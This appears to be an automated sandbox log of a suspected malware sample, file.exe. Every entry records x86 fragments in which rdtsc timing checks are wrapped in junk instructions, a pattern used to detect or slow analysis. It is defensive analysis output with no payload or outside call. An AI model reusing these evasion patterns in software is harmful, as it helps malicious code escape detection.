Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8423C3 second address: 8423C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8423C9 second address: 8423DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007EFF30E2BC4Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8423DB second address: 842404 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007EFF30CD38F6h 0x0000000b jmp 00007EFF30CD3904h 0x00000010 popad 0x00000011 push edi 0x00000012 js 00007EFF30CD38F6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8429E4 second address: 8429E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842B39 second address: 842B3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842B3D second address: 842B41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842B41 second address: 842B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842F88 second address: 842F9A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC4Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 842F9A second address: 842FE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jl 00007EFF30CD38F6h 0x0000000d push edx 0x0000000e pop edx 0x0000000f jmp 00007EFF30CD38FFh 0x00000014 popad 0x00000015 pushad 0x00000016 push edx 0x00000017 pop edx 0x00000018 jmp 00007EFF30CD3903h 0x0000001d jmp 00007EFF30CD38FCh 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 jno 00007EFF30CD38F6h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84311C second address: 84312D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC4Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84312D second address: 843137 instructions: 0x00000000 rdtsc 0x00000002 jl 00007EFF30CD38F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8433E0 second address: 8433E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 847C6A second address: 847C70 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846ACF second address: 846ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846ADA second address: 846AF0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30CD38FDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846AF0 second address: 846B02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 jp 00007EFF30E2BC46h 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 846B02 second address: 846B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806F1B second address: 806F21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806F21 second address: 806F25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806F25 second address: 806F44 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007EFF30E2BC54h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806F44 second address: 806F4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007EFF30CD38F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806FE9 second address: 807011 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jne 00007EFF30E2BC4Ch 0x00000012 push ecx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 mov eax, dword ptr [eax] 0x00000019 pushad 0x0000001a ja 00007EFF30E2BC4Ch 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8071D4 second address: 8071ED instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFF30CD3904h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8071ED second address: 807240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, esi 0x00000008 push 00000000h 0x0000000a push edi 0x0000000b call 00007EFF30E2BC48h 0x00000010 pop edi 0x00000011 mov dword ptr [esp+04h], edi 0x00000015 add dword ptr [esp+04h], 0000001Ch 0x0000001d inc edi 0x0000001e push edi 0x0000001f ret 0x00000020 pop edi 0x00000021 ret 0x00000022 or ecx, dword ptr [ebp+122D2AEDh] 0x00000028 nop 0x00000029 js 00007EFF30E2BC52h 0x0000002f jp 00007EFF30E2BC4Ch 0x00000035 push eax 0x00000036 pushad 0x00000037 jnp 00007EFF30E2BC48h 0x0000003d push ebx 0x0000003e pop ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807240 second address: 807244 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8074A0 second address: 8074CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFF30E2BC59h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jg 00007EFF30E2BC46h 0x00000016 popad 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80785B second address: 80785F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80785F second address: 807869 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFF30E2BC4Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807869 second address: 807876 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807876 second address: 80787B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807986 second address: 80798C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8470A8 second address: 8470AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8471E3 second address: 84721C instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFF30CD38F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007EFF30CD3908h 0x0000000f pushad 0x00000010 jmp 00007EFF30CD3904h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84721C second address: 847246 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007EFF30E2BC46h 0x0000000a popad 0x0000000b jmp 00007EFF30E2BC52h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jo 00007EFF30E2BC4Ah 0x00000019 pushad 0x0000001a popad 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 847246 second address: 84724B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C36F second address: 84C39A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFF30E2BC50h 0x00000008 jmp 00007EFF30E2BC56h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 84C39A second address: 84C3A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007EFF30CD38FCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85179C second address: 8517A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007EFF30E2BC4Ch 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8514E0 second address: 8514E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8514E6 second address: 8514EB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8575E6 second address: 8575FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFF30CD3902h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8575FC second address: 85760C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007EFF30E2BC46h 0x0000000a js 00007EFF30E2BC46h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85760C second address: 857610 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 857760 second address: 857789 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC57h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edx 0x0000000b ja 00007EFF30E2BC46h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edx 0x00000014 push esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8578D0 second address: 8578DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007EFF30CD38F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8578DA second address: 8578DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8076E2 second address: 807776 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jne 00007EFF30CD38F6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007EFF30CD38FCh 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007EFF30CD38F8h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000018h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f push 00000004h 0x00000031 je 00007EFF30CD3903h 0x00000037 jmp 00007EFF30CD38FDh 0x0000003c nop 0x0000003d pushad 0x0000003e pushad 0x0000003f pushad 0x00000040 popad 0x00000041 jmp 00007EFF30CD3906h 0x00000046 popad 0x00000047 jbe 00007EFF30CD38FCh 0x0000004d jg 00007EFF30CD38F6h 0x00000053 popad 0x00000054 push eax 0x00000055 push ecx 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007EFF30CD3906h 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 857D32 second address: 857D39 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85CBEB second address: 85CBFF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007EFF30CD38FCh 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BDBB second address: 85BDEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFF30E2BC4Eh 0x00000009 jmp 00007EFF30E2BC53h 0x0000000e popad 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007EFF30E2BC46h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85BF6D second address: 85BF84 instructions: 0x00000000 rdtsc 0x00000002 ja 00007EFF30CD38F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push edi 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f jnl 00007EFF30CD38F6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C280 second address: 85C28E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007EFF30E2BC46h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C28E second address: 85C2D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 pushad 0x0000000a jmp 00007EFF30CD3901h 0x0000000f jo 00007EFF30CD38F6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c jmp 00007EFF30CD3904h 0x00000021 pop eax 0x00000022 jmp 00007EFF30CD38FAh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C427 second address: 85C43D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007EFF30E2BC4Dh 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85C756 second address: 85C768 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30CD38FEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85F2A6 second address: 85F2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85F579 second address: 85F5A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007EFF30CD38FFh 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007EFF30CD3905h 0x00000011 popad 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 85F80B second address: 85F80F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867C8C second address: 867C92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867C92 second address: 867C96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865CEB second address: 865CEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 865E4A second address: 865E4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86620C second address: 866212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866212 second address: 866235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFF30E2BC58h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866235 second address: 866239 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866239 second address: 866241 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866241 second address: 86624D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007EFF30CD38F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86685C second address: 866866 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007EFF30E2BC46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866866 second address: 86686A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866DAB second address: 866DAF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 866DAF second address: 866DB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8670C1 second address: 8670C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86738B second address: 867390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 867390 second address: 8673AE instructions: 0x00000000 rdtsc 0x00000002 jng 00007EFF30E2BC52h 0x00000008 je 00007EFF30E2BC46h 0x0000000e js 00007EFF30E2BC46h 0x00000014 push eax 0x00000015 push edx 0x00000016 jng 00007EFF30E2BC46h 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8676A9 second address: 8676AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8676AD second address: 8676C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFF30E2BC4Fh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8676C6 second address: 8676DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30CD3905h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8676DF second address: 8676F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007EFF30E2BC50h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8676F3 second address: 8676F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F397 second address: 86F39C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F7E8 second address: 86F7F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007EFF30CD38F6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F7F4 second address: 86F7FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F951 second address: 86F955 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F955 second address: 86F984 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFF30E2BC4Ch 0x00000007 jmp 00007EFF30E2BC59h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F984 second address: 86F98E instructions: 0x00000000 rdtsc 0x00000002 jns 00007EFF30CD38F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86F98E second address: 86F9B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007EFF30E2BC46h 0x00000010 jmp 00007EFF30E2BC53h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 86FB26 second address: 86FB2D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8778A8 second address: 8778B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8778B1 second address: 8778C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jc 00007EFF30CD38F6h 0x0000000d pop edi 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8778C2 second address: 8778C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877A1D second address: 877A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877CFE second address: 877D08 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFF30E2BC46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 877EAE second address: 877EB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8781C7 second address: 8781CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8786FF second address: 878717 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007EFF30CD38F6h 0x00000009 jmp 00007EFF30CD38FBh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 878E3C second address: 878E5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 jmp 00007EFF30E2BC53h 0x0000000e push edi 0x0000000f pop edi 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8795C1 second address: 8795C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
